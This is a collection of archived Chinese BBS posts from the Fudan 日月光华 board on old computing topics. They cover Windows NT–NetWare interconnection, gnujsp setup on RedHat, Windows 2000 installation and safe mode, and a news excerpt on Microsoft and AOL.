日月光华 -- MS_Windows精华区文章阅读 -------------------------------------------------------------------------------- 发信人: danan (笑看风云), 信区: MS_Windows 标 题: Windows NT与Netware互联实现技术 发信站: 日月光华站 (Fri Nov 5 13:54:32 1999) , 转信 ∷孀趴突?服务器模式的兴起，Windows NT经过一段缓慢的发展之后，已逐步成为应用服务器上的主流网络操作系统，确实如其名字NT(new technology)那样，带给计算机界许多新的技术，具有安装简单、图形界面、强大外围支持、极好稳定性等优势。然而Novell Netware是以往乃至现在文件服务器模式的典型网络，如何实现它们之间的互联，以共享资源和通信，是目前异构系统互联必须解决的问题。 　　　　一、Novell的TCP/IP和NFS 　　　　国际标准化组织ISO为实现网络互联制订了开放式系统互联参考模型OSI。而传输控制协议TCP和网间协议IP是目前网络互联的一个标准协议。Novell V3.11及以后版本支持TCP/IP，从而使Netware与TCP/IP之间实现完美的互联成为现实。 　　　　1、Novell的TCP/IP 　　　　Novell的TCP/IP是一组可加载模块，在其支持下可装配需TCP/IP支持的应用系统。主要模块如下： 　　　　.CPIP.NLM　　　　Netware TCP/IP主模块 　　　　.NMP.LM　　　　　简单网络管理协议 　　　　.SNMPLOG.NLM　　SNMP事件记录 　　　　.TCPCON.NLM　　 TCP/IP控制台模块 　　　　.IPCONFIG.NLM　　 IP配置模块 　　　　.IPTUNNEL.LAN　　IPX/IP TUNNEL模块 　　　　Novell网络是在Netware文件服务器和DOS/Windows工作站下实现TCP/IP的。 　　　　.文件服务器上加载TCP/IP模块TCPIP.NLM，使各种支持TCP/IP协议主机系统(如Windows NT/U)能够通过该协议访问Netware文件服务器。 　　　　.DOS/Windows工作站上，运行一种PC环境的TCP/IP软件LAN Workplace for DOS 4.0来实现。它是建立在底层使用开放的数据链路接口技术之上的，正巧是ODI技术才使得DOS/Windows工作站在同一物理网卡之上，并发地支持TCP/IP和Netware的IPX/SPX两种不同的协议。 　　　　2、Novell的NFS 　　　　Novell最初开发的Netware核心协议NCP是隐含在文件服务器上的，它是专门为DOS/Windows用户透明地访问Netware服务器设计的。因此为了支持TCP/IP＆NFS系统完全透明地访问Netware服务器资源，在Netware服务器上安装Novell NFS。 Novell NFS是建立在TCP/IP之上的，提供异种网络环境下的互联网络上文件共享方法。提供如下主要服务： 　　　　.NFS　　　　文件共享(NFSSERV.NLM) 　　　　.LPD　　　　打印服务(PLPD.NLM) 　　　　.FTPD　　　 标准TCP/IP文件传输服务(FTPD.NLM) 　　　　.XCONSOLE　服务器远程管理(XCONSOLE.NLM) 　　　　二、Windows NT 　　　　Windows NT是一种开放式体系，它支持网络驱动程序接口规范(NDIS)，也支持传输驱动程序接口(TDI)，这就为Windows NT和其它网络产品通信创造了良好的条件。Windows NT提供四种协议： 　　　　.TCP/IP：是一个跨平台的理想的客户服务器框架，是一套支持通过互联网络进行通信的网络协议。NT使用TCP/IP或安装SNMP模块时，须设置NT计算机的IP地址。 　　　　.NWLink：是用于Novell Netware internetwork Packet Exchange(IPX/SPX)协议的兼容NDIS的版本。 　　　　.NetBEUI：是NETBIOS扩展用户接口协议，在LAN中是速度最快的协议。 　　　　.Data Link Control：网络中有大型机或NT服务器作为打印服务器时使用。 　　　　三、Windows NT与Netware的互联 　　　　1、Netware服务器的安装与配置 　　　　1利用install安装Netware 4.1,系统卷块容量配置为8KB，并配置好相应环境。 　　　　2加载TCP/IP和安装Netware NFS 　　　　.启动Novell服务器，键入install 　　　　.选择“product options” 　　　　.把Netware NFS程序盘插入A驱动器，按Ins键，输入路径 　　　　.选择NFS安装操作 　　　　.配置TCP/IP参数，包括内部IP地址、HOST名字、子网屏蔽、网卡驱动程序、最大包容量与缓冲 　　　　.退出Netware安装菜单，返回控制台 　　　　.增加NFS名字空间到Netware系统卷，键入： 　　　　　　Load NFS 　　　　　　Add Name space NFS to SYS 　　　　.运行NFSadmin,键入：Load NFSadmin,选择Novice Configue,按需修改NFSusers、NFSgroup、Hosts、Exports 　　　　.运行Pinstall,键入Load Pinstall,选择配置Update option、File Transfer、Configuration setup、Add Components、Edit Config Fils。 　　　　下面提供Autoexec.ncf的参考配置： 　　　　ipx internal net 00000001 　　　　load tcpip 　　　　load NE3200 slot=5 frame=Ethernet－802.2 name=compaq 　　　　bind ipx to compaq net=10000000 　　　　 load NE3200 slot=5 frame=Ethernet —Ⅱ name=hp 　　　　bind ipx to hp addr=34.3.218.101 mask=255.0.0.0 　　　　mount all 　　　　3在服务器上增加一个名为NT GATEWAY的组，通过GSNW访问Netware的用户须在NT GATEWAY组中，然后再为网关配置好权限。 　　　　2、Windows NT服务器的安装与配置 　　　　1安装Windows NT Server 3.5,并配置好相应环境。 　　　　2Windows NT Server的配置 　　　　.安装配置NWLink的网络协议。启动NT，双击Control Panel上的Network图标，出现Network Settings对话框，选择Add Software,再选取NWLink IPX/SPX Compatible Transport,配置NWLink协议时选择Configure按扭，使用Auto Frame Type Detection自动测试帧类型，最后在Internal Network Number内输入内部网络编号。 　　　　.安装配置TCP/IP网络协议。选择Add Software,再选取TCP/IP Protocol and Related Componets,然后使Connextivity Utilities、TCP/IP Network Printing Support、FTP Server Service、Simple TCP/TP Service等项有效。配置时要在IP Address内输入IP地址，在Subnet Mask内输入网络掩码。 　　　　.安装NetBEUI网络协议。选择Add Software,再选取NetBEUI Protocol。 　　　　.安装配置Netware网关服务GSNW。 　　　　双击Control Panel上的Network图标，出现Network Settings对话框，选择Add Software,在Add Network Software框中选Gateway Service for Netware。安装完后，重新启动计算机，以Administrator登录，出现Select Preferred Server for Netware对话框，选择指定的Netware服务器，进入Control Panel,这时增加了一个GSNW图标，双击图标，在Gateway Services for Netware对话框中Enable Gateway置有效，在Gateway Account方框中输入网点帐号用户，在Password和Confirm Password输入口令(用户须在Netware服务器的NT GATEWAY组中)，再选取Add,出现New Share对话框，在Share Name中输入共享名，再在Network Path中输入Netware服务器路径。于是利用网关可使用Netware资源。 　　　　3、NT客户端的配置 　　　　NT客户端程序从NT Server光盘上制作，配置的网络协议不同，Autoexec.bat中的配置也有所不同。 　　　　　Cinfig.sys文件： 　　　　　device=c:\net\ifshlp.sys 　　　　　TCP/IP协议： 　　　　　autoexec.bat文件： 　　　　　set path=c:\net 　　　　　initialize 　　　　　netbind 　　　　　umb 　　　　　tcptsr 　　　　　tinyrfe 　　　　　nmtsr 　　　　　emsbfr 　　　　　net start 　　　　　NWLink协议： 　　　　　autoexec.bat文件： 　　　　　set Path=c:\net 　　　　　nwlink 　　　　　net start 　　　　至此Netware和Windows NT互联实现了。NT Server通过NWLink协议可以访问Netware上的全部DOS命名的空间资源；通过TCP/IP协议和Telnet,可访问Netware上的NFS命名空间资源。NT客户用户可以访问NT Server上的所有资源；也可以通过NT Server上的NWLink协议和网关GSNW访问Netware上的DOS名字空间资源。 　　　　网络互联是一个复杂的工程，须详细规划，按实 -- 你现在作的是否和目标有关,如果是,作好它;否则,放弃它. ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.10.10.5] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- MS_Windows精华区文章阅读 -------------------------------------------------------------------------------- 发信人: markzhang (小马哥), 信区: MS_Windows 标 题: WindowsNT共享Windows95应用程序技巧 (转载) 发信站: 日月光华站 (Thu Feb 12 19:11:59 1998) , 转信 发信人: diming (丁丁〜悲情城市), 信区: WindowsNT 标 题: WindowsNT共享Windows95应用程序技巧 (转载) 发信站: 鼓浪听涛 (Fri Dec 19 13:06:34 1997) 【 以下文字转载自 Win95 讨论区 】 【 原文由 rainbow 所发表 】 WindowsNT共享Windows95应用程序技巧 　　现在有许多人在自己的机器上同时安装了Windows95 和WindowsNT，而由于硬盘空间的限制，应用程序又不可能 为Windows95和WindowsNT各自安装一次。举例来说，一个 MSOffice软件的基本安装要占用几十兆空间。如果为不同 的操作系统都安装一次，就会造成硬盘的浪费。本人在实 践中摸索出一套办法，只需花费很少的硬盘空间，就可使 WindowsNT共享Windows95应用程序。还是以Office软件为 例，具体步骤如下： 　　1．安装Windows95。 　　2．在Windows95下安装Of�fice95。 　　3．安装WindowsNT4．0SERVER。 　　4．在WindowsNT下重复安装Office95，此次安装Offi ce95的目录同Windows95下安装Office95的目录。 　　5．之后，在Windows95和WindowsNT环境下就可用同 一个Office拷贝，节省了磁盘空间，同时方便了使用，免 去了切换操作系统的困苦。 　　注意：如安装了Office快捷工具条，则要删除不是Wi ndows95和WindowsNT公共的按扭，如：控制面板，打印机 。人工再定制。 　　例外，象LOTUSNOTES，WS—FTP，Navigatorgold3．0 等在Windows95下安装的应用程序，直接在WindowsNT桌面 上创建快捷方式即可使用。 -- 我不是要证明我有多么了不起, 属于我的东西我一定要拿回来! ※ 修改:·markzhang 於 Feb 12 19:25:06 修改本文·[FROM: ms] ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: ms] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Unix精华区文章阅读 -------------------------------------------------------------------------------- 发信人: monkey (cowboy), 信区: Unix 标 题: java在Linux下的web应用(二) 发信站: 日月光华站 (Wed Oct 11 22:19:49 2000) , 转信 java在Linux下的web应用(二) gnujsp1.0.0在RedHat下基于apache jserv的安装 首先确认你已经安装了apache jserv，如果你还没有安装apache jserv,请参考在《Red Hat下 安装apache jserv 1.1.2》一文。 默认jserv安装在/usr/local/jserv下，jserv.conf在/usr/local/jserv/conf下 一、需要的软件 从http://www.klomp.org/gnujsp/取得gnujsp-1.0.0.tar.gz 二、 #cp gnujsp-1.0.0.tar.gz /usr/local #tar xvzf gnujsp-1.0.0.tar.gz #ln -s gnujsp-1.0.0 gnujsp #cd /usr/local/jserv/etc #cp zone.properties alph.properties #vi alph.properties修改alph.properties加入： # List of Repositories ####################### repositories=/usr/local/gnujsp-1.0.0/lib/gnujsp10.jar repositories=/usr/local/gnujsp-1.0.0/lib/servlet-2.0-plus.jar repositories=/your/jdbcbeans/path#你的javabean的路径 #repositories=/home/heyl/lib/java/Acme.jar #repositories=/usr/local/webl-3.0/lib/WebL.jar # Classloader parameters ######################### autoreload.classes=true # Enable servlet resourced autoreloading (properties and other # loaded resources) autoreload.file=true ... # Servlet Aliases ################## # Note: if using webl or Acme stuff, add the jars here too # if you added them to the repositories above (alph) # In my real settings I added: usepackages=true,language=de,country=de # but I guess you may prefer the default locale :-) (alph) servlet.gnujsp.code=org.gjt.jsp.JspServlet servlet.gnujsp.initArgs=checkclass=true,pagebase=/usr/local/www/doc, scratchdir=/var/local/apache/jsp,debug=true,compiler=builtin-javac -classpath %classpath%:%scratchdir%:/usr/local/gnujsp-1.0.0/lib/servlet-2.0- plus.jar: /usr/local/gnujsp-1.0.0/lib/gnujsp10.jar:/your/jdbcbeans/path -d %scratchdir% -deprecation %source% #其中$scratchdir为jsp文件生成的java和class文件的目录 存盘 三、 #vi jserv.properties加入 wrapper.classpath=/usr/lib/jdk/lib/tools.zip wrapper.classpath=/usr/local/jserv/lib/ApacheJServ.jar wrapper.classpath=/usr/local/JSDK/lib/jsdk.jar ...... zones=root,alph ...... alph.properties=/usr/local/apache-1.3.6/conf/alph.properties ...... log.file=/usr/local/apache/logs/jserv.log#日志文件 四、在/usr/local/jserv/etc/jserv.conf中加进 ApJServMount /alph /alph Action jsp-handler /servlet/gnujsp AddHandler jsp-handler jsp 五、 启动你的apache 把/usr/local/gnujsp/examples下的文件拷贝到web发布目录下，用浏览器调用 http://yourserver/dir/date.jsp http://yourserver/dir/hello.jap http://yourserver/dir/snoop.jsp 怎么样，结果出来了没有呢？ 然后你自己改动这些文件，加入中文测试，和servlet在redhat下一样，测试表明gnujs p也 没有中文显示的问题。 相关servlet/jsp信息请到java.sun.com查阅相关信息 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 61.129.222.52] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- MS_Windows精华区文章阅读 -------------------------------------------------------------------------------- 发信人: maniac (乐乐), 信区: MS_Windows 标 题: Windows 2000安装、使用小记（二） 发信站: 日月光华站 (Sat Nov 6 16:17:28 1999) , 转信 　　格式化后叫我重启(真土，以前NT 4不会叫我重启的，RedHat也不会)。重新进入安装 介面，选择那个刚格式化的分区，然后就开始咄咄咄的拷贝。拷贝结束（5分钟），进入 图形化的安装介面，我动动鼠标，咦！！！ 鼠标光标没有！！！ //faint *&^%$*&^@# 再看画面，有一根很长很长的进度条正在慢慢的移动，进度条上面有几行字，大意是说， “现在正在安装系统设备，譬如键盘和鼠标”，噢！！我恍然大悟，原来鼠标驱动程序要 现装的。这些设备的安装时间非常的长，有10来分钟，而且在50%的时候突然停下很久， 此时光驱不读，硬盘不响，就像死机一样，不知道它在干什么。好不容易过掉，然后是输 入机器名字，管理员口令，设设系统时间什么的。接着是安装网络，我只选择了一 个TCP/IP协议，很快装好，然后开始安装开始菜单里的程序，大概就是计算器，画笔之类 的东东，这段时间很长，有15分钟，然后是注册程序（不知道是什么意思），这段时间更 长(20多分钟)，然后是安装COM+(15分钟)，这时也是我的硬盘叫的最惨的时候，就听到嘎 啦啦嘎啦啦的（从此我得了耳鸣，耳朵里老是有硬盘声音）。到最后实在受不了，跑厅里 看电视去了，看了半天电视回来，发现终于装好了。于是重启，2000的启动画面实在是难 看。尤其是那个logo，好好的Windows标志被框在一个方框里，后又想起Office 2000来， Word 2000的logo是蓝框里一个W，Excel 2000的logo是绿框里一个X，Outlook里是棕框里 一个钟，实在是受不了。 　　又经过漫长的等待（屏幕上说是在做个性化设置）后终于进入Windows 2000，而三件 非常重要的事情没有发生，实在要令我喷血。第一件费解的事是鼠标还是没有找到，这个 鼠标肯定是好的，在98和NT 4里一点问题也没有，让我想起两年前安装的Windows NT 5.0， 那里边的鼠标的光标是一个方块，而现在却连方块都没有。第二件事是没有问我系统登录 口令。Windows 2000其实是NT，进入NT不用输入用户名和口令，那还叫什么NT？ 第三件事 就是尽管光盘盒子的背面写有Product KEY，并强调“每次安装本软件时都必须使用此号码， 请将其保存在安全可靠的地方”，但整个安装过程始终没让我输入过。 　　很快，前两件事情解决，先换了一个鼠标，能用，只能说2000开始学会挑食了。而登 录前的账号和口令是要在控制面板里设定的，缺省不需要输入。至于为啥不问我要序列号， 到现在还没明白。 未完待续 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: www] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- MS_Windows精华区文章阅读 -------------------------------------------------------------------------------- 发信人: danan (笑看风云), 信区: MS_Windows 标 题: Windows NT与Netware互联实现技术 发信站: 日月光华站 (Fri Nov 5 13:54:32 1999) , 转信 ∷孀趴突?服务器模式的兴起，Windows NT经过一段缓慢的发展之后，已逐步成为应用服务器上的主流网络操作系统，确实如其名字NT(new technology)那样，带给计算机界许多新的技术，具有安装简单、图形界面、强大外围支持、极好稳定性等优势。然而Novell Netware是以往乃至现在文件服务器模式的典型网络，如何实现它们之间的互联，以共享资源和通信，是目前异构系统互联必须解决的问题。 　　　　一、Novell的TCP/IP和NFS 　　　　国际标准化组织ISO为实现网络互联制订了开放式系统互联参考模型OSI。而传输控制协议TCP和网间协议IP是目前网络互联的一个标准协议。Novell V3.11及以后版本支持TCP/IP，从而使Netware与TCP/IP之间实现完美的互联成为现实。 　　　　1、Novell的TCP/IP 　　　　Novell的TCP/IP是一组可加载模块，在其支持下可装配需TCP/IP支持的应用系统。主要模块如下： 　　　　.CPIP.NLM　　　　Netware TCP/IP主模块 　　　　.NMP.LM　　　　　简单网络管理协议 　　　　.SNMPLOG.NLM　　SNMP事件记录 　　　　.TCPCON.NLM　　 TCP/IP控制台模块 　　　　.IPCONFIG.NLM　　 IP配置模块 　　　　.IPTUNNEL.LAN　　IPX/IP TUNNEL模块 　　　　Novell网络是在Netware文件服务器和DOS/Windows工作站下实现TCP/IP的。 　　　　.文件服务器上加载TCP/IP模块TCPIP.NLM，使各种支持TCP/IP协议主机系统(如Windows NT/U)能够通过该协议访问Netware文件服务器。 　　　　.DOS/Windows工作站上，运行一种PC环境的TCP/IP软件LAN Workplace for DOS 4.0来实现。它是建立在底层使用开放的数据链路接口技术之上的，正巧是ODI技术才使得DOS/Windows工作站在同一物理网卡之上，并发地支持TCP/IP和Netware的IPX/SPX两种不同的协议。 　　　　2、Novell的NFS 　　　　Novell最初开发的Netware核心协议NCP是隐含在文件服务器上的，它是专门为DOS/Windows用户透明地访问Netware服务器设计的。因此为了支持TCP/IP＆NFS系统完全透明地访问Netware服务器资源，在Netware服务器上安装Novell NFS。 Novell NFS是建立在TCP/IP之上的，提供异种网络环境下的互联网络上文件共享方法。提供如下主要服务： 　　　　.NFS　　　　文件共享(NFSSERV.NLM) 　　　　.LPD　　　　打印服务(PLPD.NLM) 　　　　.FTPD　　　 标准TCP/IP文件传输服务(FTPD.NLM) 　　　　.XCONSOLE　服务器远程管理(XCONSOLE.NLM) 　　　　二、Windows NT 　　　　Windows NT是一种开放式体系，它支持网络驱动程序接口规范(NDIS)，也支持传输驱动程序接口(TDI)，这就为Windows NT和其它网络产品通信创造了良好的条件。Windows NT提供四种协议： 　　　　.TCP/IP：是一个跨平台的理想的客户服务器框架，是一套支持通过互联网络进行通信的网络协议。NT使用TCP/IP或安装SNMP模块时，须设置NT计算机的IP地址。 　　　　.NWLink：是用于Novell Netware internetwork Packet Exchange(IPX/SPX)协议的兼容NDIS的版本。 　　　　.NetBEUI：是NETBIOS扩展用户接口协议，在LAN中是速度最快的协议。 　　　　.Data Link Control：网络中有大型机或NT服务器作为打印服务器时使用。 　　　　三、Windows NT与Netware的互联 　　　　1、Netware服务器的安装与配置 　　　　1利用install安装Netware 4.1,系统卷块容量配置为8KB，并配置好相应环境。 　　　　2加载TCP/IP和安装Netware NFS 　　　　.启动Novell服务器，键入install 　　　　.选择“product options” 　　　　.把Netware NFS程序盘插入A驱动器，按Ins键，输入路径 　　　　.选择NFS安装操作 　　　　.配置TCP/IP参数，包括内部IP地址、HOST名字、子网屏蔽、网卡驱动程序、最大包容量与缓冲 　　　　.退出Netware安装菜单，返回控制台 　　　　.增加NFS名字空间到Netware系统卷，键入： 　　　　　　Load NFS 　　　　　　Add Name space NFS to SYS 　　　　.运行NFSadmin,键入：Load NFSadmin,选择Novice Configue,按需修改NFSusers、NFSgroup、Hosts、Exports 　　　　.运行Pinstall,键入Load Pinstall,选择配置Update option、File Transfer、Configuration setup、Add Components、Edit Config Fils。 　　　　下面提供Autoexec.ncf的参考配置： 　　　　ipx internal net 00000001 　　　　load tcpip 　　　　load NE3200 slot=5 frame=Ethernet－802.2 name=compaq 　　　　bind ipx to compaq net=10000000 　　　　 load NE3200 slot=5 frame=Ethernet —Ⅱ name=hp 　　　　bind ipx to hp addr=34.3.218.101 mask=255.0.0.0 　　　　mount all 　　　　3在服务器上增加一个名为NT GATEWAY的组，通过GSNW访问Netware的用户须在NT GATEWAY组中，然后再为网关配置好权限。 　　　　2、Windows NT服务器的安装与配置 　　　　1安装Windows NT Server 3.5,并配置好相应环境。 　　　　2Windows NT Server的配置 　　　　.安装配置NWLink的网络协议。启动NT，双击Control Panel上的Network图标，出现Network Settings对话框，选择Add Software,再选取NWLink IPX/SPX Compatible Transport,配置NWLink协议时选择Configure按扭，使用Auto Frame Type Detection自动测试帧类型，最后在Internal Network Number内输入内部网络编号。 　　　　.安装配置TCP/IP网络协议。选择Add Software,再选取TCP/IP Protocol and Related Componets,然后使Connextivity Utilities、TCP/IP Network Printing Support、FTP Server Service、Simple TCP/TP Service等项有效。配置时要在IP Address内输入IP地址，在Subnet Mask内输入网络掩码。 　　　　.安装NetBEUI网络协议。选择Add Software,再选取NetBEUI Protocol。 　　　　.安装配置Netware网关服务GSNW。 　　　　双击Control Panel上的Network图标，出现Network Settings对话框，选择Add Software,在Add Network Software框中选Gateway Service for Netware。安装完后，重新启动计算机，以Administrator登录，出现Select Preferred Server for Netware对话框，选择指定的Netware服务器，进入Control Panel,这时增加了一个GSNW图标，双击图标，在Gateway Services for Netware对话框中Enable Gateway置有效，在Gateway Account方框中输入网点帐号用户，在Password和Confirm Password输入口令(用户须在Netware服务器的NT GATEWAY组中)，再选取Add,出现New Share对话框，在Share Name中输入共享名，再在Network Path中输入Netware服务器路径。于是利用网关可使用Netware资源。 　　　　3、NT客户端的配置 　　　　NT客户端程序从NT Server光盘上制作，配置的网络协议不同，Autoexec.bat中的配置也有所不同。 　　　　　Cinfig.sys文件： 　　　　　device=c:\net\ifshlp.sys 　　　　　TCP/IP协议： 　　　　　autoexec.bat文件： 　　　　　set path=c:\net 　　　　　initialize 　　　　　netbind 　　　　　umb 　　　　　tcptsr 　　　　　tinyrfe 　　　　　nmtsr 　　　　　emsbfr 　　　　　net start 　　　　　NWLink协议： 　　　　　autoexec.bat文件： 　　　　　set Path=c:\net 　　　　　nwlink 　　　　　net start 　　　　至此Netware和Windows NT互联实现了。NT Server通过NWLink协议可以访问Netware上的全部DOS命名的空间资源；通过TCP/IP协议和Telnet,可访问Netware上的NFS命名空间资源。NT客户用户可以访问NT Server上的所有资源；也可以通过NT Server上的NWLink协议和网关GSNW访问Netware上的DOS名字空间资源。 　　　　网络互联是一个复杂的工程，须详细规划，按实 -- 你现在作的是否和目标有关,如果是,作好它;否则,放弃它. ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.10.10.5] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
AmericaOnline并购时代华纳公司(TimeWarner)之后，微软就更不可能转型成内容提供者(contentprovider)了。当AOL并购华纳公司后，就可以透过更多种管道行销，进而取得“微软-AOL”对抗赛中的绝对优势。A.G.Edwards的分析师JonPuricelli表示：“微软若能查纳雅言，重返软体(软件)老本行亦为时未晚。”他说：“AOL主在提供内容，微软则是家软体(软件)公司，这两家根本不该彼此竞争。”“微软涉足“内容”业早已偏离本行，难怪没搞头。”在AOL并购华纳公司后，AOL跟微软在长达一年的角力中胜负立见。从技术的角度来说，微软试图以“立即传讯用户”( instantmessagingclient)力搏市场主流“AOLInstantMessenger”和ICQ程式。这两家去年都主打系统的互动式操作性。AOL于99年靠著并购网景的Communications和Communicator浏览器在微软的地盘上攻下一城。当微软忙著加强“内容”业务时，AOL则从未偏离至技术领域。所以AOL虽已并购网景，但其主力业务仍为提供网路(网络)服务。故此次并购旨在取得热门入口网站Netcenter。AOL除了誓死捍卫其“立即传讯程式”以外，对延后上市的Communicator浏览器也采取不干预的态度。JupiterCommunications的分析师RossRubin表示：“AOL并购网景纯为一场媒体之争，他们到现在还没转卖出去真是出人意料之外。我猜最后可能会卖给升阳(Sun)，因为升阳目前尚未涉足浏览器。”“AOL对改良网景的技术不感兴趣，微软则对改良技术深感兴趣，对“内容”业务比较没兴趣。”微软去年战绩不佳：其MSN在“内容”业务方面落后Yahoo、AOL；在存取服务方面则落后AOL。此外，微软还卖掉Sidewalk。微软于近日重申“软体(软件)和服务”为并购MSN后的发展重点。发言人TomPilla表示：“此次并购突显出电脑界的多元化和白热化。众家业者的市场臂与网际网路(网络)走向各不相同，所以此后MSN和AOL亦将分道扬镳。”Pilla说：“这样也好，微软将致力于发展软体(软件)和服务平台，我们愿意跟任何一家想上网行销的媒体公司合作。”但分析家不认为微软短期内就会认输。Puricelli表示：“微软会继续奋战下去。虽然目前凡是跟Internet有关的投资都在赔钱，但他们还是可以透过MSN销售软体(软件)，所以还有利用价值。”
日月光华 -- MS_Windows精华区文章阅读 -------------------------------------------------------------------------------- 发信人: alexander (老鬼), 信区: MS_Windows 标 题: 关于Windows2000的问答 发信站: 日月光华站 (Sun Feb 20 22:40:00 2000), WWW-POST@203.95.7.153 　　(ChinaByte综合消息：)微软终于正式发布了Windows2000，微软曾 经开发过的最强大和最复杂的一种操作系统。但是，这种操作系统并非适 用于任何人。下面，就是一些关于Windows2000的简单问与答。 　　问：什么是Windows2000？ 　　答：Windows2000是微软针对功能强大的台式电脑，以及运行数据 库，电子邮件系统和互联网网站的服务器开发的一种最新操作系统。它是 Windows NT4.0的后续产品。 　　问：Windows2000是针对哪些用户设计的？ 　　答：Windows2000是针对企业用户和其它使用大型电脑网络的用户设 计的。 　　问：我可以在家里使用Windows2000吗？ 　　答：虽然个人用户可以为自己的台式或笔记本电脑购买并安装 Windows2000，但微软建议普通消费者最好坚持使用Windows98，以及预 计将在今年晚些时候推出的Windows98的后续产品--Windows千禧年 (Windows Millennium Edition)。 　　问：Windows2000能做些什么？它和Windows NT4.0有何不同？ 　　答：据微软自己称，Windows2000的改进之处包括增强了稳定性和可 靠性，帮助网络管理人员运行电脑系统的易用工具，和诸如数据库之类的 其它大型软件程序更好地集成，以及帮助笔记本电脑更好地进行能源管理 等。 　　问：Windows2000的售价是多少？ 　　答：用于台式电脑的Windows2000，售价为149美元，而用于服务器 的Windows2000，起始价格为599美元。微软还针对电子商务网站和ISP中 运行大规模数据库的大型服务器，提供不同版本的Windows2 000。 　　问：Windows2000有竞争对手吗？ 　　答：当然有。Windows2000将面临来自其他操作系统的残酷竞争。这 些操作系统包括：Sun微系统公司的Solaris，Novell公司的NetWare， 各种版本的Unix，以及崛起不久的Linux。 -- ||| ||| | | | ||| ||| -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: WWW-POST@203.95.7.15] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Virus精华区文章阅读 -------------------------------------------------------------------------------- 发信人: OooO (又开始了), 信区: Virus 标 题: Re: 请各位新手注意 发信站: 日月光华 (2003年02月16日14:36:37 星期天), 站内信件 谈Win2000的安全模式 ----------------------------------------------------------------------------- http://www.sina.com.cn2001/09/10 11:28 中国电脑教育报 周新霖 　　与Windows 9x相比，基于NT技术构建的Windows 2000在兼容性和稳定性方面有较大 的进步。然而，这并不是说Windows 2000就不会出问题。毕竟，在提供稳定性的同时保 持与旧应用程序很好的兼容性是很难实现的。当有一个或多个设备的设置出现冲突、丢 失，或者某些设备不能与Windows 2000兼容时，常常会出现启动问题。这时往往需要修 复配置，否则将不能再正常使用电脑了。Windows 2000提供了安全模式功能来解决启动 问题。实际上Windows 2000提供的安全模式功能是非常强大和有用的，它可以帮助我们 分析问题出在什么地方并加 以解决。 　　启动安全模式 　　当启动Windows 2000有麻烦时，就可以用安全模式来启动机器。安全模式启动时， 只连带启动显示卡和硬盘，而这两种设备一般不会产生冲突。用安全模式启动后，桌面 四角会显示“安全模式”字样，提示系统处于非正常启动状态。当显示驱动已经损坏或 使用了错误的设置后，Windows 2000还可以使用VGA模式显示驱动程序，这种通用的VGA 显示驱动程序可保证系统正常工作。要是硬盘也坏了呢？对不起，请先换硬盘吧。所以 如果出现不能修复的启动问题，就要考虑是不是硬盘有问题了。 　　进入安全模式有两种方法：一是自动进入。当系统在引导过程中检测到某些问题， 它将自动把计算机引导至安全模式。但这也取决于实际检测到的问题种类，遇到某些问 题的系统是不会这样做的。例如，当声卡发生问题时，由于出问题前系统已经全部通过 启动过程，所以系统无法自动引导到安全模式。二是手工启动。当你的计算机发生问题 时可以强迫使用安全模式，方法是在启动计算机时按［F8］键，按键的时机在屏幕上会 有提示。于是屏幕上会显示一个菜单，在菜单中有多项安全模式可以选择。 　　安全模式的种类 　　下面逐一介绍和解释菜单上的安全模式列表。 　　1、安全模式一般情况下可选择该项以发现引导问题。此种模式可以启动机器，而只 使用少量设备。此时系统将不处理Config.sys和Autoexec.bat的内容，也不处理启动文 件夹的任何内容。 　　2、带网络连接的安全模式如果计算机已经连入网络，而且在以安全模式启动时未能 检测到任何问题，那么就有可能是网卡出了问题。此时就可以使用该选项。当然，由于 设备相互关联，有时问题也会误判。比如当鼠标没有响应时，用户可能以为鼠标发生了 故障，要更换鼠标。实际上可能是计算机的端口发生冲突。 　　3、带命令提示行的安全模式如果是Config.sys或Autoexec.bat出错而引发了启动问 题时，可以使用该模式来启动计算机。此时，系统将被引导到DOS命令方式(在Windows 2000下称之为命令提示符，而不是MS-DOS)，不处理Config.sys或Autoexec.bat文件。用 户可以查看和修改这两个文件，然后重新启动机器。 　　4、启用启动日志模式该模式适合“大虾”级的用户。采用该模式后将启动Bootlog .txt文件，这个文件是启动日志。通过分析该文件可以了解引导序列失败的位置。虽然 ，分析此文件内容要花费一段时间，但是却可以精确地知道引导期间发生了哪些问题。 　　5、启用VGA模式如前所述，当显示驱动程序或相关设置受到损坏时，通用的VGA显示 驱动仍可以正常工作。以此种模式进入计算机后，用户可以修复损坏的程序或者设备， 也可重新安装程序。 　　6、最后一次正确的配置模式在此种模式下，计算机将以最后一次正确启动计算机时 的配置来重新配置系统。当用户自己对修复没有足够把握时，不妨选择该模式。 　　7、目录恢复模式此种模式仅适用于Windows 2000的域控制器，一般不会使用。这里 就不多介绍了。 　　8、调试模式如果计算机的某些硬件使用了实模式驱动程序，并因此导致不能启动， 就可以使用该模式来启动计算机，并且可以找到实模式驱动程序产生的冲突。在使用调 试模式时，计算机会反复测试并确定要使用或取消Config.sys或Autoexec.bat中的哪个 设备驱动，然后就可以发现引起系统配置问题的设备驱动程序了。 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.100.166.222] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
